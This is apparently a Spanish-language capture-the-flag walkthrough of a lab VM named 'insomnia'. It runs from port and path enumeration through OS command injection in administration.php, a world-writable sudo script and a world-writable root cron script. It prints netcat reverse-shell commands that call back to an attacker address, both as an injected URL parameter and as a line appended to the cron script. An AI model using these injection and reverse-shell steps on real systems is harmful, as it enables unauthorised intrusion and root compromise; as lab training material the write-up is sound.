Enumeración de servicios
El barrido completo sólo descubre el puerto 8080. Nmap lo etiqueta genéricamente como http-proxy, por lo que continuamos tratándolo como una aplicación HTTP hasta identificar su comportamiento real:
❯ nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.22
❯ nmap -sC -sV -p8080 -oN 02-targeted.txt 192.168.1.22
Nmap scan report for 192.168.1.22
Host is up (0.00020s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
8080/tcp open http-proxy
MAC Address: 08:00:27:D0:A6:75 (Oracle VirtualBox virtual NIC)
Enumeración web
Enumeramos rutas PHP con Wfuzz y ocultamos las respuestas 404. Los resultados relevantes son index.php, administration.php y process.php:
❯ wfuzz -c --hc=404 -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.22:8080/FUZZ.php
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000015: 200 102 L 216 W 2899 Ch "index"
000001763: 200 2 L 12 W 65 Ch "administration"
000001927: 200 0 L 1 W 2 Ch "process"
...Fuzzeamos nombres de parámetros en administration.php usando /etc/passwd como valor. --hh 65 descarta la respuesta base y deja visible logfile:
❯ wfuzz -c --hc=404 --hh 65 -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.22:8080/administration.php\?FUZZ\=/etc/passwd
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000199160: 200 2 L 12 W 76 Ch "logfile"Acceso inicial mediante OS Command Injection
El parámetro logfile permite incluir archivos (LFI) y presenta OS Command Injection porque no filtra metacaracteres de shell. Tras un nombre de archivo válido añadimos ; para terminar el argumento e iniciar Netcat hacia nuestro listener.
La aplicación parece insertar logfile dentro de una orden del sistema. El punto y coma cierra la orden prevista y comienza una segunda. Mantener primero un nombre de archivo válido ayuda a superar la lógica anterior antes de alcanzar el intérprete:
❯ http://192.168.1.22:8080/administration.php?logfile=chat.txt;nc -e /bin/sh 192.168.1.10 4444La conexión entrante pertenece a www-data y permite recuperar la primera flag.
Movimiento lateral a julia
sudo -l muestra que www-data puede ejecutar un script concreto como julia sin contraseña:
Matching Defaults entries for www-data on insomnia:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on insomnia:
(julia) NOPASSWD: /bin/bash /var/www/html/start.shEl archivo es propiedad de root, pero sus permisos 777 crean un caso de Writable Privileged Executable File cuyo contenido puede sustituir cualquier usuario:
❯ www-data@insomnia:/$ ls -l /var/www/html/start.sh
-rwxrwxrwx 1 root root 20 Dec 21 2020 /var/www/html/start.shLo sobrescribimos con una invocación a Bash y lo ejecutamos exactamente mediante la regla permitida.
No necesitamos alterar la regla de sudo. Controlamos el contenido de la ruta ya autorizada y el intérprete /bin/bash la ejecuta con la identidad solicitada, julia:
❯ www-data@insomnia:/$ echo "/bin/bash" > /var/www/html/start.sh
❯ sudo -u julia /bin/bash /var/www/html/start.shEnumeración de tareas programadas
Ya como julia, analizamos .bash_history y descubrimos un script sospechoso en /var/cron. /etc/crontab confirma que root ejecuta check.sh cada minuto:
❯ julia@insomnia:/var/cron$ cat /etc/crontab
...
* * * * * root /bin/bash /var/cron/check.sh
...El script también tiene permisos 777, de modo que julia puede modificar el código que posteriormente ejecutará root.
Aquí el disparador ya no es sudo, sino cron. Los permisos de escritura nos dan control del contenido y /etc/crontab demuestra que el intérprete será iniciado por root cada minuto:
❯ julia@insomnia:/var/cron$ ls -l /var/cron/check.sh
-rwxrwxrwx 1 root root 153 Dec 21 2020 /var/cron/check.shEscalada mediante el script de cron
Añadimos una reverse shell, preparamos un listener en el puerto 5555 y esperamos al siguiente ciclo de cron:
❯ julia@insomnia:/var/cron$ echo "nc -e /bin/bash 192.168.1.10 5555" >> check.shLas notas registran que la conexión recibida se ejecutó como root y permitió recuperar la flag final, pero no conservaron una salida de id o whoami.